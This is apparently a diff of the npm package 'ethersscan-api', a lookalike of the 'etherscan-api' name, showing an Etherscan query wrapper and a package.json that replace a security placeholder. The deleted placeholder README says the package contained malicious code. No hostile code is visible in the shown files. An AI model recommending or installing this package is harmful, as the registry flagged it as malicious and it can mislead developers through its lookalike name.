+ if (topic0_1_opr) {
56
+ params.topic0_1_opr = topic0_1_opr;
57
+ }
58
+
59
+ if (topic1) {
60
+ params.topic1 = topic1;
61
+ }
62
+
63
+ if (topic1_2_opr) {
64
+ params.topic1_2_opr = topic1_2_opr;
65
+ }
66
+
67
+ if (topic2) {
68
+ params.topic2 = topic2;
69
+ }
70
+
71
+ if (topic2_3_opr) {
72
+ params.topic2_3_opr = topic2_3_opr;
73
+ }
74
+
75
+ if (topic0_2_opr) {
76
+ params.topic0_2_opr = topic0_2_opr;
77
+ }
78
+
79
+ if (topic3) {
80
+ params.topic3 = topic3;
81
+ }
82
+ var query = new URLSearchParams(params).toString();
83
+ return getRequest(query);
84
+ }
85
+ };
86
+ };
@@ -0,0 +1,28 @@
1
+ const MAIN_API_URL = 'https://api.etherscan.io';
2
+ const OTHER_API_URL_MAP = {
3
+ ropsten: 'https://api-ropsten.etherscan.io',
4
+ kovan: 'https://api-kovan.etherscan.io',
5
+ rinkeby: 'https://api-rinkeby.etherscan.io',
6
+ goerli: 'https://api-goerli.etherscan.io',
7
+ sepolia: 'https://api-sepolia.etherscan.io',
8
+ homestead: 'https://api.etherscan.io',
9
+ arbitrum: 'https://api.arbiscan.io',
10
+ arbitrum_rinkeby: 'https://api-testnet.arbiscan.io',
11
+ avalanche:'https://api.snowtrace.io',
12
+ avalanche_fuji: 'https://api-testnet.snowtrace.io',
13
+ };
14
+
15
+ /**
16
+ * gets the correct urls of the backend
17
+ * @param {string} chain
18
+ * @returns Url of backend
19
+ */
20
+ function pickChainUrl(chain) {
21
+ if (!chain || !OTHER_API_URL_MAP[chain]) {
22
+ return MAIN_API_URL;
23
+ }
24
+ return OTHER_API_URL_MAP[chain];
25
+ }
26
+
27
+
28
+ module.exports = pickChainUrl;
package/lib/proxy.js ADDED
@@ -0,0 +1,242 @@
1
+ module.exports =function(getRequest, apiKey) {
2
+ return {
3
+ /**
4
+ * Returns the number of most recent block
5
+ * @example
6
+ * var block = api.proxy.eth_blockNumber();
7
+ * @returns {Promise.<integer>}
8
+ */
9
+ eth_blockNumber() {
10
+ const module = 'proxy';
11
+ const action = 'eth_blockNumber';
12
+ const queryObject = {
13
+ module, action, apiKey
14
+ };
15
+ var query = new URLSearchParams(queryObject).toString();
16
+ return getRequest(query);
17
+ },
18
+ /**
19
+ * Returns information about a block by block number.
20
+ * @param {string} tag - Tag to look up
21
+ * @example
22
+ * var blockNumber = api.proxy.eth_getBlockByNumber('0x10d4f');
23
+ * @returns {Promise.<integer>}
24
+ */
25
+ eth_getBlockByNumber(tag) {
26
+ const module = 'proxy';
27
+ const action = 'eth_getBlockByNumber';
28
+ const boolean = true;
29
+ const queryObject = {
30
+ module, action, tag, apiKey, boolean
31
+ };
32
+ var query = new URLSearchParams(queryObject).toString();
33
+ return getRequest(query);
34
+ },
35
+ /**
36
+ * Returns information about a uncle by block number.
37
+ * @param {string} tag - Tag to look up
38
+ * @param {string} index - Index
39
+ * @example
40
+ * var res = api.proxy.eth_getUncleByBlockNumberAndIndex('0x210A9B', '0x0');
41
+ * @returns {Promise.<object>}
42
+ */
43
+ eth_getUncleByBlockNumberAndIndex(tag, index) {
44
+ const module = 'proxy';
45
+ const action = 'eth_getUncleByBlockNumberAndIndex';
46
+ const queryObject = {
47
+ module, action, apiKey, tag, index
48
+ };
49
+ var query = new URLSearchParams(queryObject).toString();
50
+ return getRequest(query);
51
+ },
52
+ /**
53
+ * Returns the number of transactions in a block from a block matching the given block number
54
+ * @param {string} tag - Tag to look up
55
+ * @example
56
+ * var res = api.proxy.eth_getBlockTransactionCountByNumber('0x10FB78');
57
+ * @returns {Promise.<object>}
58
+ */
59
+ eth_getBlockTransactionCountByNumber(tag) {
60
+ const module = 'proxy';
61
+ const action = 'eth_getBlockTransactionCountByNumber';
62
+ const queryObject = {
63
+ module, action, apiKey, tag
64
+ };
65
+ var query = new URLSearchParams(queryObject).toString();
66
+ return getRequest(query);
67
+ },
68
+ /**
69
+ * Returns the information about a transaction requested by transaction hash
70
+ * @param {string} hash - Transaction hash
71
+ * @example
72
+ * var res = api.proxy.eth_getTransactionByHash('0x1e2910a262b1008d0616a0beb24c1a491d78771baa54a33e66065e03b1f46bc1');
73
+ * @returns {Promise.<object>}
74
+ */
75
+ eth_getTransactionByHash(txhash) {
76
+ const module = 'proxy';
77
+ const action = 'eth_getTransactionByHash';
78
+ const queryObject = {
79
+ module, action, apiKey, txhash
80
+ };
81
+ var query = new URLSearchParams(queryObject).toString();
82
+ return getRequest(query);
83
+ },
84
+ /**
85
+ * Returns information about a transaction by block number and transaction index position
86
+ * @param {string} tag - Tag to look up
87
+ * @param {string} index - Index
88
+ * @example
89
+ * var res = api.proxy.eth_getTransactionByBlockNumberAndIndex('0x10d4f', '0x0');
90
+ * @returns {Promise.<object>}
91
+ */
92
+ eth_getTransactionByBlockNumberAndIndex(tag, index) {
93
+ const module = 'proxy';
94
+ const action = 'eth_getTransactionByBlockNumberAndIndex';
95
+ const queryObject = {
96
+ module, action, apiKey, tag, index
97
+ };
98
+ var query = new URLSearchParams(queryObject).toString();
99
+ return getRequest(query);
100
+ },
101
+ /**
102
+ * Returns the number of transactions sent from an address
103
+ * @param {string} address - Address of the transaction
104
+ * @example
105
+ * var res = api.proxy.eth_getTransactionCount('0x2910543af39aba0cd09dbb2d50200b3e800a63d2', 'latest');
106
+ * @returns {Promise.<object>}
107
+ */
108
+ eth_getTransactionCount(address) {
109
+ const module = 'proxy';
110
+ const action = 'eth_getTransactionCount';
111
+ const queryObject = {
112
+ module, action, apiKey, address
113
+ };
114
+ var query = new URLSearchParams(queryObject).toString();
115
+ return getRequest(query);
116
+ },
117
+ /**
118
+ * Creates new message call transaction or a contract creation for signed transactions
119
+ * @param {string} hex - Serialized Message
120
+ * @example
121
+ * var res = api.proxy.eth_sendRawTransaction('0xf904808000831cfde080');
122
+ * @returns {Promise.<object>}
123
+ */
124
+ eth_sendRawTransaction(hex) {
125
+ const module = 'proxy';
126
+ const action = 'eth_sendRawTransaction';
127
+ const queryObject = {
128
+ module, action, apiKey, hex
129
+ };
130
+ var query = new URLSearchParams(queryObject).toString();
131
+ return getRequest(query);
132
+ },
133
+ /**
134
+ * Returns the receipt of a transaction by transaction hash
135
+ * @param {string} txhash - Transaction hash
136
+ * @example
137
+ * var ret = api.proxy.eth_getTransactionReceipt('0x1e2910a262b1008d0616a0beb24c1a491d78771baa54a33e66065e03b1f46bc1');
138
+ * @returns {Promise.<object>}
139
+ */
140
+ eth_getTransactionReceipt(txhash) {
141
+ const module = 'proxy';
142
+ const action = 'eth_getTransactionReceipt';
143
+
144
+ const queryObject = {
145
+ module, action, apiKey, txhash
146
+ };
147
+ var query = new URLSearchParams(queryObject).toString();
148
+ return getRequest(query);
149
+ },
150
+ /**
151
+ * Executes a new message call immediately without creating a transaction on the block chain
152
+ * @param {string} to - Address to execute from
153
+ * @param {string} data - Data to transfer
154
+ * @param {string} tag - A tag
155
+ * @example
156
+ * var res = api.proxy.eth_call('0xAEEF46DB4855E25702F8237E8f403FddcaF931C0', '0x70a08231000000000000000000000000e16359506c028e51f16be38986ec5746251e9724', 'latest');
157
+ * @returns {Promise.<object>}
158
+ */
159
+ eth_call(to, data, tag) {
160
+ const module = 'proxy';
161
+ const action = 'eth_call';
162
+ const queryObject = {
163
+ module, action, apiKey, to, data, tag
164
+ };
165
+ var query = new URLSearchParams(queryObject).toString();
166
+ return getRequest(query);
167
+ },
168
+ /**
169
+ * Returns code at a given address
170
+ * @param {string} address - Address to get code from
171
+ * @param {string} tag - ??
172
+ * @example
173
+ * var res = api.proxy.eth_getCode('0xf75e354c5edc8efed9b59ee9f67a80845ade7d0c', 'latest');
174
+ * @returns {Promise.<object>}
175
+ */
176
+ eth_getCode(address, tag) {
177
+ const module = 'proxy';
178
+ const action = 'eth_getCode';
179
+ const queryObject = {
180
+ module, action, apiKey, address, tag
181
+ };
182
+ var query = new URLSearchParams(queryObject).toString();
183
+ return getRequest(query);
184
+ },
185
+ /**
186
+ * Returns the value from a storage position at a given address.
187
+ * @param {string} address - Address to get code from
188
+ * @param {string} position - Storage position
189
+ * @param {string} tag - ??
190
+ * @example
191
+ * var res = api.proxy.eth_getStorageAt('0x6e03d9cce9d60f3e9f2597e13cd4c54c55330cfd', '0x0', 'latest');
192
+ * @returns {Promise.<object>}
193
+ */
194
+ eth_getStorageAt(address, position, tag) {
195
+ const module = 'proxy';
196
+ const action = 'eth_getStorageAt';
197
+ const queryObject = {
198
+ module, action, apiKey, address, position, tag
199
+ };
200
+ var query = new URLSearchParams(queryObject).toString();
201
+ return getRequest(query);
202
+ },
203
+ /**
204
+ * Returns the current price per gas in wei.
205
+ * var gasprice = api.proxy.eth_gasPrice();
206
+ * @returns {Promise.<object>}
207
+ */
208
+ eth_gasPrice() {
209
+ const module = 'proxy';
210
+ const action = 'eth_gasPrice';
211
+ const queryObject = {
212
+ module, action, apiKey
213
+ };
214
+ var query = new URLSearchParams(queryObject).toString();
215
+ return getRequest(query);
216
+ },
217
+ /**
218
+ * Makes a call or transaction, which won't be added to the blockchain and returns the used gas, which can be used for estimating the used gas
219
+ * @param {string} to - Address to get code from
220
+ * @param {string} value - Storage position
221
+ * @param {string} gasPrice - ??
222
+ * @param {string} gas - ??
223
+ * @xample
224
+ * var res = api.proxy.eth_estimateGas(
225
+ * '0xf0160428a8552ac9bb7e050d90eeade4ddd52843',
226
+ * '0xff22',
227
+ * '0x051da038cc',
228
+ * '0xffffff'
229
+ *);
230
+ * @returns {Promise.<object>}
231
+ */
232
+ eth_estimateGas(to, value, gasPrice, gas) {
233
+ const module = 'proxy';
234
+ const action = 'eth_estimateGas';
235
+ const queryObject = {
236
+ module, action, apiKey, to, value, gasPrice, gas
237
+ };
238
+ var query = new URLSearchParams(queryObject).toString();
239
+ return getRequest(query);
240
+ },
241
+ };
242
+ };
package/lib/stats.js ADDED
@@ -0,0 +1,62 @@
1
+ module.exports = function(getRequest, apiKey) {
2
+ return {
3
+ /**
4
+ * Returns the supply of Tokens
5
+ * @param {string} tokenname - Name of the Token
6
+ * @param {string} contractaddress - Address from token contract
7
+ * @example
8
+ * var supply = api.stats.tokensupply(null, '0x57d90b64a1a57749b0f932f1a3395792e12e7055');
9
+ * @returns {Promise.<object>}
10
+ */
11
+ tokensupply(tokenname, contractaddress) {
12
+ const module = 'stats';
13
+ const action = 'tokensupply';
14
+
15
+ let params = {
16
+ module, action, apiKey
17
+ };
18
+
19
+ if (tokenname) {
20
+ params.tokenname = tokenname;
21
+ }
22
+
23
+ if (contractaddress) {
24
+ params.contractaddress = contractaddress;
25
+ }
26
+
27
+ var query = new URLSearchParams(params).toString();
28
+ return getRequest(query);
29
+ },
30
+
31
+ /**
32
+ * Returns total supply of ether
33
+ * var supply = api.stats.ethsupply();
34
+ * @returns {Promise.<integer>}
35
+ */
36
+ ethsupply() {
37
+ const module = 'stats';
38
+ const action = 'ethsupply';
39
+ const queryObject = {
40
+ module, action, apiKey
41
+ };
42
+ var query = new URLSearchParams(queryObject).toString();
43
+ return getRequest(query);
44
+ },
45
+
46
+ /**
47
+ * Returns the price of ether now
48
+ * @example
49
+ * var price = api.stats.ethprice();
50
+ * @returns {Promise.<integer>}
51
+ */
52
+ ethprice() {
53
+ const module = 'stats';
54
+ const action = 'ethprice';
55
+ const queryObject = {
56
+ module, action, apiKey
57
+ };
58
+ var query = new URLSearchParams(queryObject).toString();
59
+ return getRequest(query);
60
+ }
61
+ };
62
+ };
@@ -0,0 +1,18 @@
1
+ module.exports = function(getRequest, apiKey) {
2
+ return {
3
+ /**
4
+ * returns the status of a specific transaction hash
5
+ * @param {string} txhash - Transaction hash
6
+ * @returns {Promise.<object>}
7
+ */
8
+ getstatus(txhash) {
9
+ const module = 'transaction';
10
+ const action = 'getstatus';
11
+ const queryObject = {
12
+ module, action, txhash, apiKey
13
+ };
14
+ var query = new URLSearchParams(queryObject).toString();
15
+ return getRequest(query);
16
+ }
17
+ };
18
+ };
package/package.json CHANGED
@@ -1,6 +1,49 @@
1
1
  {
2
2
  "name": "ethersscan-api",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.1",
4
+ "description": "API to etherscan with a simple interface",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "mocha -t 20000",
8
+ "posttest": "npm run lint",
9
+ "lint": "jshint lib test",
10
+ "docs": "npx documentation build ./lib/init.js -f html -o out",
11
+ "preversion": "npm run lint && npm run changelog",
12
+ "postversion": "git push && git push --tags",
13
+ "changelog": "rm ./docs/CHANGELOG.md && npx changelog https://github.com/sebs/etherscan-api all > ./docs/CHANGELOG.md && git add ./docs/CHANGELOG.md && git commit ./docs/CHANGELOG.md -m changelog",
14
+ "build": "npm run test && npm run docs"
15
+ },
16
+ "keywords": [
17
+ "arbiscan",
18
+ "ethereum",
19
+ "EtherScan.io",
20
+ "etherscan",
21
+ "blockchain",
22
+ "api",
23
+ "transaction",
24
+ "rest"
25
+ ],
26
+ "repository": {
27
+ "type": "git",
28
+ "url": "git+https://github.com/sebs/etherscan-api.git"
29
+ },
30
+ "author": "",
31
+ "license": "ISC",
32
+ "bugs": {
33
+ "url": "https://github.com/sebs/etherscan-api/issues"
34
+ },
35
+ "homepage": "https://github.com/sebs/etherscan-api#readme",
36
+ "devDependencies": {
37
+ "chai": "4.3.7",
38
+ "jshint": "2.13.6",
39
+ "mocha": "10.2.0",
40
+ "watch": "1.0.2"
41
+ },
42
+ "dependencies": {
43
+ "axios": "1.2.2",
44
+ "gh-pages": "5.0.0",
45
+ "querystring": "0.2.1",
46
+ "request": "^2.88.2",
47
+ "sqlite3": "^5.1.6"
48
+ }
6
49
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ethersscan-api for more information.